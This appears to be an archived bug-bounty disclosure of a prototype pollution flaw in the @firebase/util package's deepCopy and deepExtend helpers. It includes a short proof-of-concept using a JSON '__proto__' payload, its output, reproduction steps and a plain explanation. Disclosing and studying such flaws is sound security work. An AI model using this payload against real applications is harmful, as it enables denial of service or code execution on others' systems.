[@firebase/util] Prototype pollution
The deepCopy and deepExtend helper functions in the @firebase/util package let a crafted object add or change properties on the shared Object prototype, so those properties then appear on every object. Depending on how the library is used, this could lead to denial of service, property injection or remote code execution.
- Fixed in 41 days
- Disclosed after 41 days
Module
module name: @firebase/util
version: 0.3.2
npm page: https://www.npmjs.com/package/@firebase/util
Module Description
NOTE: This is specifically tailored for Firebase JS SDK usage, if you are not a member of the Firebase team, please avoid using this package
This is a wrapper of some Webchannel Features for the Firebase JS SDK.
Module Stats
[1,516,157] weekly downloads
Vulnerability
Vulnerability Description
I tested the deepCopy and deepExtend functions.
The deepCopy and deepExtend functions can be used to add/modify properties of the Object prototype. These properties will be present on all objects.
Steps To Reproduce:
- install
@firebase/utilmodule:npm i ``@firebase/util
Run the following poc:
const utils = require('@firebase/util');
const obj = {};
const source = JSON.parse('{"__proto__":{"polluted":"yes"}}');
console.log("Before : " + obj.polluted);
utils.deepExtend({}, source);
// utils.deepCopy(source);
console.log("After : " + obj.polluted);
Output:
Before : undefined
After : yes
Supporting Material/References:
- OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
- NODEJS VERSION: v14.11.0
- NPM VERSION: 6.14.8
Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Thank you for your time.
best regards,
d3lla
Impact
The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution, Property Injection.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
The impact depends on the application; in some cases it is possible to achieve denial of service, remote code execution or property injection.
What the attacker needed
Attacker-controlled object passed to deepCopy/deepExtend; application uses @firebase/util
How it was found
- Install the @firebase/util package with npm.
- Build an object from JSON that contains a nested __proto__ key with a property inside it.
- Call deepExtend (or deepCopy) with an empty target and that object.
- Check a fresh empty object and see the injected property is now present.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
JavaScript objects inherit shared defaults from a built-in template called the prototype. If an attacker can add a property to that shared template, every object in the program suddenly has it too, which can confuse or break the application. Here a helper function that merges objects copied a special key instead of ignoring it, so the shared template got changed.
What is Prototype pollution?
Input changes JavaScript's shared object prototype, altering behaviour across the application, sometimes to XSS or code execution.